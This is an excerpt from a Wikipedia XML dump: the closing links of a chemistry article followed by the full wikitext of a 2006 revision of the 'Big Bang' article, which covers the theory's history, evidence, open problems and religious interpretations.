* [[flash point]]
* [[boiling delay]]
* [[critical temperature]]
* [[triple point]]
* [[boiling-point elevation]]

[[Category:Chemical properties]]
[[Category:Fluid dynamics]]
[[Category:Thermodynamics]]

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  <page>
    <title>Big Bang</title>
    <id>4116</id>
    <revision>
      <id>41790638</id>
      <timestamp>2006-03-01T19:49:45Z</timestamp>
      <contributor>
        <username>ScienceApologist</username>
        <id>105537</id>
      </contributor>
      <comment>rv -- emerged is not a problematic word, beginning and early are contextualized by Weyl's Postulate.</comment>
      <text xml:space="preserve">{{Otheruses}}

[[Image:Universe_expansion.png|thumb|240px|According to the [[Big Bang]] theory, the [[universe]] emerged from an extremely dense and hot state (bottom). Since then, space itself has expanded with the passage of time, carrying the galaxies with it.]]

In [[physical cosmology]], the '''Big Bang''' is the [[science|scientific]] [[Theory#science|theory]] that the [[universe|universe]] emerged from an enormously [[density|dense]] and [[temperature|hot]] state about 13.7 billion years ago. The Big Bang is a consequence of the observed [[Hubble's law]] [[velocity|velocities]] of [[Cosmic distance ladder|distant]] [[galaxy|galaxies]] that when taken together with the [[cosmological principle]] imply that [[metric space|space]] is expanding according to the [[Robertson-Walker coordinates|Friedmann-Lemaître model]] of [[general relativity]]. [[Extrapolation|Extrapolated]] into the past, these [[observation]]s show that the universe has expanded from a state in which all the [[matter]] and [[energy]] in the universe was at an immense temperature and density. [[physics|Physicists]] do not widely agree on what happened before this, although general relativity predicts a [[gravitational singularity]] (for reporting on some of the more notable speculation on this issue, see [[cosmogony]]).

The term ''Big Bang'' is used both in a narrow sense to refer to a point in time when the observed expansion of the universe ([[Hubble's law]]) began&amp;mdash;calculated to be 13.7 [[billion]] ([[1 E17 s|1.37 × 10&lt;sup&gt;10&lt;/sup&gt;]]) years ago&amp;mdash;and in a more general sense to refer to the prevailing cosmological [[paradigm]] explaining the origin and expansion of the universe, as well as the composition of primordial matter through [[nucleosynthesis]] as predicted by the [[Alpher-Bethe-Gamow theory]] {{ref|ABGtheory}}. 

One consequence of the Big Bang is that the conditions of today's universe are different from the conditions in the past or in the future.  From this [[Model (abstract)|model]], [[George Gamow]] in 1948 was able to predict, at least qualitatively, the existence of [[cosmic microwave background radiation]] (CMB) {{ref|GammowCMB}}.  The CMB was discovered in the 1960s and further validated the Big Bang theory over its chief rival, the [[steady state theory]].&lt;br clear=&quot;right&quot;/&gt;
{{Cosmology}}
==History==
{{main|History of the Big Bang}}

The Big Bang theory developed from observations and theoretical considerations. Observationally, it was determined that most spiral nebulae were receding from Earth, but those who made the observation weren't aware of the cosmological implications, nor that the supposed nebulae were actually galaxies outside our own [[Milky Way]]{{ref|Slipher}}. In 1927, the [[Belgium|Belgian]] [[Roman Catholic|Catholic]] priest [[Georges Lemaître]] independently derived the [[Friedmann equations|Friedmann-Lemaître-Robertson-Walker equations]] from [[Albert Einstein]]'s [[Einstein equation|equations]] of [[general relativity]] and proposed, on the basis of the recession of spiral [[nebula]]e, that the universe began with the &quot;explosion&quot; of a &quot;primeval [[atom]]&quot;&amp;mdash;what was later called the Big Bang{{ref|Lemaitre}}. 

In 1929, [[Edwin Hubble]] provided an observational basis for Lemaître's theory.  He discovered that, relative to the Earth, the galaxies are receding in every direction at speeds directly proportional to their distance from the Earth. This fact is now known as [[Hubble's law]] {{ref|Christianson}}. Given the [[cosmological principle]] whereby the universe, when viewed on sufficiently large distance scales, has no preferred directions or preferred places, Hubble's law suggested that the universe was expanding contradicting the infinite and unchanging [[static universe]] scenario developed by Einstein.

This idea allowed for two opposing possibilities. One was Lemaître's Big Bang theory, advocated and developed by [[George Gamow]]. The other possibility was [[Fred Hoyle]]'s [[steady state model]] in which new matter would be created as the galaxies moved away from each other. In this model, the universe is roughly the same at any point in time{{ref|steadystate}}. It was actually Hoyle who coined the name of Lemaître's theory, referring to it sarcastically as &quot;this ''big bang'' idea&quot; during a program broadcast on [[March 28]], [[1949]] by the [[BBC]] [[Third Programme]].  Hoyle repeated the term in further broadcasts in early 1950, as part of a series of five lectures entitled ''[[The Nature of Things]]''.  The text of each lecture was published in ''[[The Listener (British magazine)|The Listener]]'' a week after the broadcast, the first time that the term &quot;big bang&quot; appeared in print. [http://www.nap.edu/books/0309093139/html/136.html]

For a number of years the support for these theories was evenly divided. However, the observational evidence began to support the idea that the universe evolved from a hot dense state. Since the discovery of the [[cosmic microwave background radiation]] in [[1965]] it has been regarded as the best theory of the origin and evolution of the cosmos. Virtually all theoretical work in cosmology now involves extensions and refinements to the basic Big Bang theory. Much of the current work in cosmology includes understanding how galaxies form in the context of the Big Bang, understanding what happened at the Big Bang, and reconciling observations with the basic theory.

Huge advances in Big Bang cosmology were made in the late 1990s and the early 21st century as a result of major advances in [[telescope]] technology in combination with large amounts of satellite data such as that from [[COBE]], the [[Hubble Space Telescope]] and [[WMAP]]. Such data has allowed cosmologists to calculate many of the parameters of the Big Bang to a new level of precision and led to the unexpected discovery that the expansion of the universe appears to be accelerating.  (See [[dark energy]].) 

See also: '''[[Timeline of cosmology]]'''

== Overview ==
{{External_Timeline|Graphical timeline of the Big Bang|Graphical timeline of the Big Bang}}
Based on measurements of the expansion of the universe using [[Type I supernova|Type Ia supernova]]e, measurements of the lumpiness of the [[cosmic microwave background radiation|cosmic microwave background]], and measurements of the [[correlation function]] of galaxies, the universe has a calculated [[Age of the universe|age]] of [[1 E17 s|13.7 ± 0.2 billion years]]. The agreement of these three independent measurements is considered strong evidence for the so-called [[Lambda-CDM model|ΛCDM model]] that describes the detailed nature of the contents of the universe.

The early universe was filled homogeneously and isotropically with an incredibly high [[energy]] density and concomitantly huge [[temperature]]s and [[pressure]]s.  It expanded and cooled, going through [[phase transition]]s analogous to the condensation of steam or freezing of water as it cools, but related to elementary particles.

Approximately 10&lt;sup&gt;-35&lt;/sup&gt; seconds after the [[Planck epoch]] a phase transition caused the universe to experience [[exponential growth]] during a period called [[cosmic inflation]]. After inflation stopped, the material components of the universe were in the form of a [[quark-gluon plasma]] (also including all other particles&amp;mdash;and perhaps experimentally produced recently as a quark-gluon liquid [http://www.aip.org/pnu/2005/split/728-1.html]) in which the constituent particles were all moving [[relativity|relativistically]]. As the universe continued growing in size, the temperature dropped.  At a certain temperature, by an as-yet-unknown transition called [[baryogenesis]], the quarks and gluons combined into [[baryon]]s such as protons and neutrons, somehow producing the observed [[asymmetry]] between [[matter]] and [[antimatter]].  Still lower temperatures led to further [[symmetry breaking]] phase transitions that put the [[fundamental force|forces of physics]] and [[particle physics|elementary particles]] into their present form. Later, some protons and neutrons combined to form the universe's [[deuterium]] and [[helium]] [[atomic nucleus|nuclei]] in a process called [[Big Bang nucleosynthesis]]. As the universe cooled, matter gradually stopped moving relativistically and its [[rest mass]] energy density came to [[gravity|gravitationally]] dominate that of [[electromagnetic radiation|radiation]]. After about 300,000 years the electrons and nuclei combined into atoms (mostly [[hydrogen]]); hence the radiation [[decoupling|decoupled]] from matter and continued through space largely unimpeded. This relic radiation is the cosmic microwave background.

Over time, the slightly denser regions of the nearly uniformly distributed matter gravitationally attracted nearby matter and thus grew even denser, forming gas clouds, [[star]]s, galaxies, and the other astronomical structures observable today.  The details of this process depend on the amount and type of matter in the universe. The three possible types are known as [[cold dark matter]], [[hot dark matter]], and [[baryonic matter]]. The best measurements available (from [[WMAP]]) show that the dominant form of matter in the universe is cold dark matter. The other two types of matter make up less than 20% of the matter in the universe.

The universe today appears to be dominated by a mysterious form of energy known as [[dark energy]]. Approximately 70% of the total energy density of today's universe is in this form. This component of the universe's composition is revealed by its property of causing the [[Hubble Law|expansion of the universe]] to deviate from a linear velocity-distance relationship by causing [[spacetime]] to expand faster than expected at very large distances. Dark energy in its simplest formation takes the form of a [[cosmological constant]] term in [[Einstein's field equation]]s of general relativity, but its composition is unknown and, more generally, the details of its [[equation of state]] and relationship with the [[standard model]] of particle physics continue to be investigated both observationally and theoretically.

All these observations are encapsulated in the [[Lambda-CDM model|ΛCDM model]] of cosmology, which is a [[mathematical model]] of the Big Bang with six free parameters. Mysteries appear as one looks closer to the beginning, when particle energies were higher than can yet be studied by experiment.  There is no compelling physical model for the first 10&lt;sup&gt;-33&lt;/sup&gt; seconds of the universe, before the phase transition called for by [[grand unification theory]]. At the &quot;first instant&quot;, Einstein's theory of gravitation predicts a [[gravitational singularity]] where densities become infinite. To resolve this [[physical paradox|paradox]], a theory of [[quantum gravity|quantum gravitation]] is needed. Understanding this period of the history of the universe is one of the greatest [[unsolved problems in physics]].

See also: '''[[Timeline of the Big Bang]]'''

== Theoretical underpinnings ==
As it stands today, the Big Bang is dependent on three assumptions:
# The universality of [[physical law]]s
# The [[cosmological principle]]
# The [[Copernican principle]]
When first developed, these ideas were simply taken as postulates, but today there are efforts underway to test each of them. Tests of the universality of physical laws have found that the largest possible deviation of the [[fine structure constant]] over the age of the universe is of order 10&lt;sup&gt;-5&lt;/sup&gt;{{ref|finestructure}}. The [[isotropy]] of the universe that defines the Cosmological Principle has been tested to a level of 10&lt;sup&gt;-5&lt;/sup&gt; and the universe has been measured to be homogeneous on the largest scales to the 10% level{{ref|homogeneity}}. There are efforts underway to test the Copernican Principle by means of looking at the interaction of [[galaxy groups and clusters]] with the CMB through the [[Sunyaev-Zeldovich effect|Sunyaev-Zel'dovich effect]] to a level of 1% accuracy{{ref|SZ}}.
 
The Big Bang theory uses [[Weyl's postulate]] to unambiguously measure [[time]] at any point as the &quot;time since the [[Planck epoch]]&quot;. Measurements in this system rely on [[conformal]] coordinates in which so-called [[comoving distance]]s and conformal times remove the expansion of the universe, parameterized by the cosmological [[scale factor (universe)|scale factor]], from consideration of [[spacetime]] measurements. The comoving distances and conformal times are defined so that objects moving with the cosmological flow are always the same comoving distance apart and the [[particle horizon]] or observational limit of the local universe is set by the conformal time.

As the universe can be described by such coordinates, the Big Bang is not an explosion of matter moving outward to fill an empty universe; what is expanding is spacetime itself. It is this expansion that causes the physical distance between any two fixed points in our universe to increase.  Objects that are bound together (for example, by [[gravity]]) do not expand with spacetime's expansion because the physical laws that govern them are assumed to be uniform and independent of the [[Metric space|metric expansion]]. Moreover, the expansion of the universe on today's local scales is so small that any dependence of physical laws on the expansion is unmeasurable by current techniques.

==Observational evidence==
It is generally stated that there are three observational pillars that support the Big Bang theory of cosmology. These are the [[Hubble Law|Hubble-type expansion]] seen in the [[redshift]]s of galaxies, the detailed measurements of the cosmic microwave background, and the abundance of light elements.  (See [[Big Bang nucleosynthesis]].) Additionally, the observed [[correlation function (astronomy)|correlation function]] of [[large-scale structure of the cosmos]] fits well with standard Big Bang theory.

===Hubble's law expansion===
{{main|Hubble's law}}
Observations of distant galaxies and [[quasar]]s show that these objects are [[redshift]]ed, meaning that the [[light]] emitted from them has been shifted to longer wavelengths. This is seen by taking a [[frequency spectrum]] of the objects and then matching the [[spectroscopy|spectroscopic]] pattern of [[emission line]]s or [[absorption line]]s corresponding to [[atom]]s of the [[chemical element]]s interacting with the light. From this analysis, a [[redshift]] corresponding to a [[Doppler shift]] for the radiation can be measured which is explained by a recessional [[velocity]]. When the recessional velocities are plotted against the distances to the objects, a linear relationship, known as [[Hubble's law]], is observed:
::&lt;math&gt;v = H_0 D \,&lt;/math&gt;
where 
:&lt;math&gt;v&lt;/math&gt; is the recessional [[velocity]] of the [[galaxy]] or other distant object
:&lt;math&gt;D&lt;/math&gt; is the distance to the object and
:&lt;math&gt;H_0&lt;/math&gt; is Hubble's constant, measured to be (71 ± 4) [[kilometers|km]]/[[second|s]]/[[Megaparsec|Mpc]] by the [[WMAP]] probe {{ref|WMAPH}}.

The [[Hubble's law]] observation has two possible explanations. One is that we are at the center of an explosion of galaxies, a position which is untenable given the [[Copernican principle]]. The second explanation is that the universe is [[scale factor (universe)|uniformly expanding]] everywhere as a unique property of [[spacetime]]. This type of universal expansion was developed mathematically in the context of [[general relativity]] well before Hubble made his analysis and observations, and it remains the cornerstone of the Big Bang theory as developed by [[Robertson-Walker coordinates|Friedmann-Lemaître-Robertson-Walker]].

===Cosmic microwave background radiation ===
{{main|Cosmic microwave background radiation}}
[[Image:WMAP.jpg|thumb|240px|[[WMAP]] image of the cosmic microwave background radiation]]
The Big Bang theory predicted the existence of the [[cosmic microwave background radiation]] or CMB which is composed of [[photons]] emitted during [[baryogenesis]]. Because the early universe was in [[thermal equilibrium]], the [[temperature]] of the radiation and the [[Plasma (physics)|plasma]] were equal until the plasma [[recombination|recombined]]. Before atoms formed, radiation was constantly absorbed and reemitted in a process called [[Compton scattering]]: the early universe was opaque to light. However, cooling due to the expansion of the universe allowed the temperature to eventually fall below 3,000&amp;nbsp;[[Kelvin|K]] at which point electrons and nuclei combined to form atoms and the primordial plasma turned into a neutral gas. This is known as photon [[decoupling]]. A universe with only neutral atoms allows radiation to travel largely unimpeded.

Because the early universe was in thermal equilibrium, the radiation from this time had a [[blackbody]] spectrum and freely streamed through space until today, becoming redshifted because of the Hubble expansion. This reduces the high temperature of the blackbody spectrum. The radiation should be observable at every point in the universe to come from all directions of space.

In 1964, [[Arno Penzias]] and [[Robert Woodrow Wilson|Robert Wilson]], while conducting a series of diagnostic observations using a new [[microwave]] receiver owned by [[Bell Laboratories]], discovered the cosmic background radiation. Their discovery provided substantial confirmation of the general CMB predictions&amp;mdash;the radiation was found to be isotropic and consistent with a blackbody spectrum of about 3&amp;nbsp;K &amp;mdash;and it pitched the balance of opinion in favor of the Big Bang hypothesis. Penzias and Wilson were awarded the [[Nobel Prize]] for their discovery.

In 1989, [[National Aeronautics and Space Administration|NASA]] launched the [[Cosmic Background Explorer satellite]] (COBE), and the initial findings, released in 1990, were consistent with the Big Bang's predictions regarding the CMB. COBE found a residual temperature of 2.726&amp;nbsp;K and determined that the CMB was isotropic to about one part in 10&lt;sup&gt;5&lt;/sup&gt;{{ref|COBE}}. During the 1990s, CMB anisotropies were further investigated by a large number of ground-based experiments and the universe was shown to be almost geometrically flat by measuring the typical angular size (the size on the sky) of the anisotropies.  (See [[Shape of the universe|shape of the universe]].)

In early 2003 the results of the [[WMAP|Wilkinson Microwave Anisotropy satellite]] (WMAP) were released, yielding what were at the time the most accurate values for some of the cosmological parameters. (see [[Cosmic microwave background radiation#Experiments|cosmic microwave background radiation experiments]]). This satellite also disproved several specific [[cosmic inflation]] models, but the results were consistent with the inflation theory in general.

===Abundance of primordial elements===
{{main|Big Bang nucleosynthesis}}
Using the Big Bang model it is possible to calculate the concentration of [[helium]]-4, helium-3, [[deuterium]] and [[lithium]]-7 in the universe as ratios to the amount of ordinary hydrogen, H. All the abundances depend on a single parameter, the ratio of [[photon]]s to [[baryon]]s.  The ratios predicted (by mass, not by number) are about 0.25 for &lt;sup&gt;4&lt;/sup&gt;He/H, about 10&lt;sup&gt;-3&lt;/sup&gt; for &lt;sup&gt;2&lt;/sup&gt;H/H, about 10&lt;sup&gt;-4&lt;/sup&gt; for &lt;sup&gt;3&lt;/sup&gt;He/H and about 10&lt;sup&gt;-9&lt;/sup&gt; for &lt;sup&gt;7&lt;/sup&gt;Li/H.

The measured abundances all agree with those predicted from a single value of the baryon-to-photon ratio. The agreement is relatively poor for &lt;sup&gt;7&lt;/sup&gt;Li and &lt;sup&gt;4&lt;/sup&gt;He, the two elements for which the [[systematic error|systematic uncertainties]] are least understood.  This is considered strong evidence for the Big Bang, as the theory is the only known explanation for the relative abundances of light elements.  Indeed there is no obvious reason outside of the Big Bang that, for example, the young universe (i.e. before star formation, as determined by studying matter essentially free of [[stellar nucleosynthesis]] products) should have more helium than deuterium or more deuterium than &lt;sup&gt;3&lt;/sup&gt;He, and in constant ratios, too.

===Galactic evolution and distribution===
{{main|Large-scale structure of the cosmos}}
Detailed observations of the [[Hubble sequence|morphology]] and [[Large-scale structure of the cosmos|distribution]] of galaxies and quasars provide strong evidence for the Big Bang. A combination of observations and theory suggest that the first quasars and galaxies formed about a billion years after the Big Bang, and since then larger structures have been forming, such as [[galaxy groups and clusters|galaxy clusters]] and [[supercluster]]s. Populations of stars have been aging and evolving, so that distant galaxies (which are observed as they were in the early universe) appear very different from nearby galaxies (observed in a more recent state). Moreover, galaxies that formed relatively recently appear markedly different from galaxies formed at similar distances but shortly after the Big Bang. These observations are strong arguments against the steady-state model.  Observations of [[star formation]], galaxy and quasar distributions, and larger structures agree well with Big Bang simulations of the formation of structure in the universe and are helping to complete details of the theory.

==Features, issues and problems==
A number of problems have arisen within the Big Bang theory throughout its history.  Some of them are mainly of historical interest today, and have been avoided either through modifications to the theory or as the result of better observations.  Other issues, such as the [[cuspy halo problem]] and the [[dwarf galaxy problem]] of [[cold dark matter]], are not considered to be fatal as they can be addressed through refinements of the theory. 

There are a small number of proponents of [[non-standard cosmology|non-standard cosmologies]] who doubt that there was a Big Bang at all. They claim that solutions to standard problems in the Big Bang theory involve [[ad hoc]] modifications and addenda to the theory. Most often attacked are the parts of standard cosmology that include [[dark matter]], [[dark energy]], and [[cosmic inflation]]. However, while explanations for these features remain at the [[Unsolved problems in physics|frontiers of inquiry in physics]], together they are suggested by independent observations of [[Big Bang nucleosynthesis]], the [[cosmic microwave background]], [[Large-scale structure of the cosmos|large scale structure]] and Type Ia [[supernova]]e. The [[gravity|gravitational]] effects of these features are understood observationally and theoretically but they have not yet been successfully incorporated into the [[Standard Model]] of [[particle physics]]. Though some aspects of the theory remain inadequately explained by fundamental physics, almost all astronomers and physicists accept that the close agreement between Big Bang theory and observation have firmly established all the basic parts of the theory.

The following is a short list of Big Bang &quot;problems&quot; and puzzles:

===Horizon problem===
{{main|horizon problem}}

The '''horizon problem''' results from the premise that information cannot travel [[faster than light]], and hence two regions of space which are separated by a greater distance than the speed of light multiplied by the age of the universe cannot be in [[causality (physics)|causal]] contact. The observed isotropy of the [[cosmic microwave background]] (CMB) is problematic in this regard, because the [[particle horizon|horizon]] size at that time corresponds to a size that is about 2 degrees on the sky. If the universe has had the same expansion history since the [[Planck epoch]], there is no mechanism to cause these regions to have the same temperature.

A resolution to this apparent inconsistency is offered by [[inflationary theory]] in which a homogeneous and isotropic scalar energy field dominates the universe at a time 10&lt;sup&gt;-35&lt;/sup&gt; seconds after the Planck epoch. During inflation, the universe undergoes exponential expansion, and regions in causal contact expand so as to be beyond each other's horizons. [[Heisenberg's uncertainty principle]] predicts that during the inflationary phase there would be [[primordial fluctuations|quantum thermal fluctuations]], which would be magnified to cosmic scale. These fluctuations serve as the seeds of all current structure in the universe. After inflation, the universe expands according to [[Hubble law|Hubble's law]], and regions that were out of causal contact come back into the horizon. This explains the observed isotropy of the CMB. Inflation predicts that the [[primordial fluctuations]] are nearly [[Scale invariance|scale invariant]] and [[Normal distribution|Gaussian]] which has been accurately confirmed by measurements of the CMB.

===Flatness problem===
{{main|flatness problem}}
The '''flatness problem''' is an observational problem that results from considerations of the [[shape of the universe|geometry]] associated with a [[Robertson-Walker coordinates|Friedmann-Lemaître-Robertson-Walker]] metric. In general, the universe can have three different kinds of geometries: [[hyperbolic geometry]], [[Euclidean geometry]], or [[elliptic geometry]]. The geometry is determined by the total energy density of the universe (as measured by means of the [[stress-energy tensor]]): hyperbolic results from a density less than the [[critical density]], elliptic from a density greater than the critical density, and Euclidean from exactly the critical density. The universe is required to be within one part in 10&lt;sup&gt;15&lt;/sup&gt; of the critical density in its earliest stages. Any greater deviation would have caused either a [[heat death|Heat Death]] or a [[Big Crunch]], and the universe would not exist as it does today.

A possible resolution to this problem is again offered by [[inflationary theory]]. During the inflationary period, spacetime expanded to such an extent that any residual [[curvature]] associated with it would have been smoothed out to a high degree of precision. Thus, it is believed that inflation drove the universe to be very nearly spatially flat.

===Magnetic monopoles===
The '''[[magnetic monopole]]''' objection was raised in the late 1970s.  [[Grand unification theory|Grand unification theories]] predicted [[Topological defect|point defects]] in space that would manifest as [[magnetic monopole]]s with a density much higher than was consistent with observations, given that searches have never found any monopoles.  This problem is also resolvable by [[cosmic inflation]], which removes all point defects from the observable universe in the same way that it drives the geometry to flatness.

===Baryon asymmetry===
It is not yet understood why the universe has more [[matter]] than [[antimatter]]. It is generally assumed that when the universe was young and very hot, it was in statistical equilibrium and contained equal numbers of [[baryon]]s and anti-baryons. However, observations suggest that the universe, including its most distant parts, is made almost entirely of matter. An unknown process called '''[[baryogenesis]]''' created the asymmetry. For baryogenesis to occur, the Sakharov conditions, which were laid out by [[Andrei Sakharov]], must be satisfied. They require that [[baryon number]] be not conserved, that [[C-symmetry]] and [[CP-symmetry]] be violated, and that the universe depart from [[thermodynamic equilibrium]]. All these conditions occur in the [[Standard Model]], but the effect is not strong enough to explain the present baryon asymmetry. Experiments taking place at [[CERN]] near Geneva seek to trap enough [[anti-hydrogen]] to compare its spectrum with hydrogen.  Any difference would be evidence of a [[CPT symmetry]] violation and therefore a [[Lorentz violation]].

===Globular cluster age===
In the mid-1990s, observations of '''[[globular cluster]]s''' appeared to be inconsistent with the Big Bang.  Computer simulations that matched the observations of the [[star|stellar]] populations of globular clusters suggested that they were about 15 billion years old, which conflicted with the 13.7-billion-year age of the universe.  This issue was generally resolved in the late 1990s when new computer simulations, which included the effects of mass loss due to [[stellar wind]]s, indicated a much younger age for globular clusters {{ref|clusterage}}. There still remain some questions as to how accurately the ages of the clusters are measured, but it is clear that these objects are some of the oldest in the universe.

===Dark matter===
{{main|dark matter}}
During the 1970s and 1980s various observations (notably of [[galaxy rotation problem|galactic rotation curves]]) showed that there was not sufficient visible matter in the universe to account for the apparent strength of gravitational forces within and between galaxies. This led to the idea that up to 90% of the matter in the universe is not normal or [[baryon]]ic matter but rather '''[[dark matter]]'''.  In addition, assuming that the universe was mostly normal matter led to predictions that were strongly inconsistent with observations.  In particular, the universe is far less lumpy and contains far less [[deuterium]] than can be accounted for without dark matter. While dark matter was initially controversial, it is now a widely accepted part of standard cosmology due to observations of the anisotropies in the CMB, [[galaxy groups and clusters|galaxy cluster]] velocity dispersions, large-scale structure distributions, [[gravitational lensing]] studies, and [[x-ray]] measurements from galaxy clusters. Dark matter has only been detected through its gravitational signature; no particles that might make it up have yet been observed in laboratories. However, there are many [[particle physics]] candidates for dark matter, and several projects to detect them are underway.

===Dark energy===
{{main|dark energy}}
In the 1990s, detailed measurements of the [[density|mass density]] of the universe revealed a value that was 30% that of the [[critical density]]. Since the universe is very nearly spatially flat, as is indicated by measurements of the [[cosmic microwave background]], about 70% of the energy density of the universe was left unaccounted for. This mystery now appears to be connected to another one: Independent measurements of [[Type I supernova|Type Ia supernovae]] have revealed that the expansion of the universe is undergoing a non-linear [[accelerating universe|acceleration]] rather than following strictly [[Hubble Law|Hubble's law]]. To explain this acceleration, [[general relativity]] requires that much of the universe consist of an energy component with large [[equation of state (cosmology)|negative pressure]]. This '''[[dark energy]]''' is now thought to make up the missing 70%. Its nature remains one of the great mysteries of the Big Bang. Possible candidates include a scalar [[cosmological constant]] and [[quintessence (physics)|quintessence]]. Observations to help understand this are ongoing.

==The future according to the Big Bang theory==
Before observations of dark energy, cosmologists considered two scenarios for the future of the universe. If the mass [[density]] of the universe is above the [[critical density]], then the universe would reach a maximum size and then begin to collapse. It would become denser and hotter again, ending with a state that was similar to that in which it started&amp;mdash;a [[Big Crunch]]. Alternatively, if the density in the universe is equal to or below the critical density, the expansion would slow down, but never stop. Star formation would cease as the universe grows less dense. The average temperature of the universe would asymptotically approach [[absolute zero]]. [[Black holes]] would evaporate. The [[entropy]] of the universe would increase to the point where no organized form of energy could be extracted from it, a scenario known as [[heat death]]. Moreover, if [[proton decay]] exists, then hydrogen, the predominant form of baryonic matter in the universe today, would disappear, leaving only radiation.

Modern observations of [[accelerating universe|accelerated expansion]] imply that more and more of the currently visible universe will pass beyond our [[event horizon]] and out of contact with us. The eventual result is not known.  The [[Lambda-CDM model|ΛCDM model]] of the universe contains [[dark energy]] in the form of a [[cosmological constant]]. This theory suggests that only gravitationally bound systems, such as galaxies, would remain together, and they too would be subject to [[heat death]], as the universe cools and expands. Other explanations of dark energy — so-called [[phantom energy]] theories — suggest that ultimately [[galaxy groups and clusters|galaxy clusters]] and eventually [[galaxies]] themselves will be torn apart by the ever-increasing expansion in a so-called [[Big Rip]].

''See also [[Ultimate fate of the universe|Ultimate fate of the universe]].''

==Speculative physics beyond the Big Bang==
While the Big Bang model is well established in cosmology, it is likely to be refined in the future. Little is known about the earliest universe, when [[cosmic inflation|inflation]] is hypothesized to have occurred. There may also be parts of the universe well beyond what can be observed in principle. In the case of inflation this is required: exponential expansion has pushed large regions of space beyond our observable horizon. It may be possible to deduce what happened when we better understand physics at very high energy scales. Speculations about this often involve theories of [[quantum gravity|quantum gravitation]].

Some proposals are:
* [[cosmic inflation|chaotic inflation]]
* [[brane cosmology]] models, including the [[ekpyrotic]] model in which the Big Bang is the result of a collision between branes
* an [[oscillatory universe|oscillatory universe]] in which the early universe's hot, dense state resulted from the Big Crunch of a universe similar to ours. The universe could have gone through an infinite number of big bangs and big crunches. The [[cyclic model|cyclic]] extension of the ekpyrotic model is a modern version of such a scenario.  (The chief outstanding problem is that [[entropy]] would apparently be carried over to each new cycle, resulting in a condition of [[heat death]] in the remote past).
* models including the [[Hartle-Hawking state|Hartle-Hawking boundary condition]] in which the whole of space-time is finite.
Some of these scenarios are qualitatively compatible with one another. Each entails untested hypotheses.

==Philosophical and religious interpretations==
There are a number of interpretations of the Big Bang theory that are extra-scientific. Some of these ideas purport to explain the cause of the Big Bang itself ([[first cause]]), although science cannot possibly show a first cause, so they have been criticized by some [[philosophical naturalism|naturalist]] philosophers as being modern [[creation myth]]s.  Some people believe that the Big Bang theory lends support to traditional views of creation as given in [[Genesis]], for example, while others believe that the Big Bang theory is inconsistent with such views.

The Big Bang, as a scientific theory, is not based on any [[religion]]. While some religious interpretations conflict with the Big Bang story of the universe, there are many other interpretations that do not.

The following is a list of various religious interpretations of the Big Bang theory:
* A number of [[Christianity|Christian]] churches, the [[Roman Catholic Church]] in particular, have accepted the Big Bang as a possible description of the origin of the universe, interpreting it to allow for a philosophical first cause. [[Pope Pius XII]] was an enthusiastic proponent of the Big Bang even before the theory was scientifically well established. 
* Some students of [[Kabbalah]], [[deism]] and other non-anthropomorphic faiths concord with the Big Bang theory, for example connecting it with the theory of &quot;divine retraction&quot; ([[tzimtzum]]) as explained by the Jewish scholar [[Maimonides|Moses Maimonides]].
* Some modern [[Islam]]ic scholars believe that the [[Qur'an]] parallels the Big Bang in its account of creation, described as follows: &quot;Do not the unbelievers see that the heavens and the earth were joined together as one unit of creation, before We clove them asunder?&quot; (Ch:21,Ver:30).  The claim has also been made that the Qur'an describes an expanding universe: &quot;The heaven, We have built it with power. And verily, We are expanding it.&quot; (Ch:51,Ver:47).  Parallels with the [[Big Crunch]] and an [[oscillating universe|oscillating universe]] have also been suggested: &quot;On the day when We will roll up the heavens like the rolling up of the scroll for writings, as We originated the first creation, (so) We shall reproduce it; a promise (binding on Us); surely We will bring it about.&quot; (Ch:21,Ver:104).
* Certain [[theism|theistic]] branches of [[Hinduism]], such as in [[Vaishnavism]], conceive of a theory of creation with similarities to the theory of the Big Bang. The Hindu mythos, narrated for example in the third book of the [[Bhagavata Purana]] (primarily, chapters 10 and 26), describes a primordial state which bursts forth as the Great [[Vishnu]] glances over it, transforming into the active state of the sum-total of matter (&quot;[[prakriti]]&quot;).  Other forms of Hinduism assert a universe without beginning or end.  
*[[Buddhism]] has a concept of a universe that has no creation event. The Big Bang, however, is not seen to be in conflict with this since there are ways to conceive an eternal universe within the paradigm. A number of popular [[Zen]] philosophers were intrigued, in particular, by the concept of the [[oscillating universe|oscillating universe]].

==Notes==
#{{note|ABGtheory}} R. A. Alpher, H. A. Bethe, G. Gamow, &quot;The Origin of Chemical Elements,&quot;''Physical Review'' '''73''' (1948), 803. 
#{{note|GammowCMB}} G. Gamow, ''Nature'' '''162''' (1948), 680. 
#{{note|Slipher}} V. Slipher, paper presented to the [[American Astronomical Society]], (1915).
#{{note|Lemaitre}} G. Lemaître, ''Annals of the Scientific Society of Brussels'' '''47A''' (1927).
#{{note|Christianson}} E. Christianson ''Edwin Hubble: Mariner of the Nebulae''. 
#{{note|steadystate}} F. Hoyle '&quot;A New Model for the Expanding universe&quot;, ''Monthly Notices of the Royal Astronomical Society'', '''108''' (1948), 372.
#{{note|finestructure}} A. V. Ivanchik, et al. &quot;The fine-structure constant: a new observational limit on its cosmological variation and some theoretical consequences&quot;, ''Astronomy and Astrophysics'' '''343''' (1999) 439.
#{{note|homogeneity}} J. Goodman ''Physics Review D'', '''52''' (1995) 1821.
#{{note|SZ}} Caltech Submillimeter Observatory has a program underway for measuring detail observations of the CMB to look for Sunyaev-Zel'dovich Effect correlations. [http://www.submm.caltech.edu/cso/]
#{{note|WMAPH}} D. N. Spergel, et al. &quot;First-year Wilkinson Microwave Anisotropy Probe (WMAP) observations: Determination of cosmological parameters&quot;, ''Astrophysical Journal Supplement Series'', '''148''' (2003) 175.
#{{note|COBE}} N.W. Boggess, et al. &quot;The COBE Mission: Its Design and Performance Two Years after the launch,&quot; ''Astrophysical Journal'', '''397''' (1992), 420. 
#{{note|clusterage}} A. A. Navabi and N. Riazi, &quot;Is the Age Problem Resolved?&quot; ''Journal of Astrophysics and Astronomy'' '''24''' (2003), 3.

==External links and references==
===Big Bang overviews===
*[[Open Directory Project]]: [http://www.dmoz.org/Science/Astronomy/Cosmology/ Cosmology] 
*[[PBS]].org, [http://www.pbs.org/deepspace/timeline/ &quot;From the Big Bang to the End of the universe. The Mysteries of Deep Space Timeline&quot;]
*[http://www.historyoftheuniverse.com/ &quot;Welcome to the History of the universe&quot;]. Penny Press Ltd.
*[[University of Cambridge|Cambridge University]] Cosmology, &quot;[http://www.damtp.cam.ac.uk/user/gr/public/bb_home.html The Hot Big Bang Model]&quot;. Includes a discussion of the problems with the Big Bang.
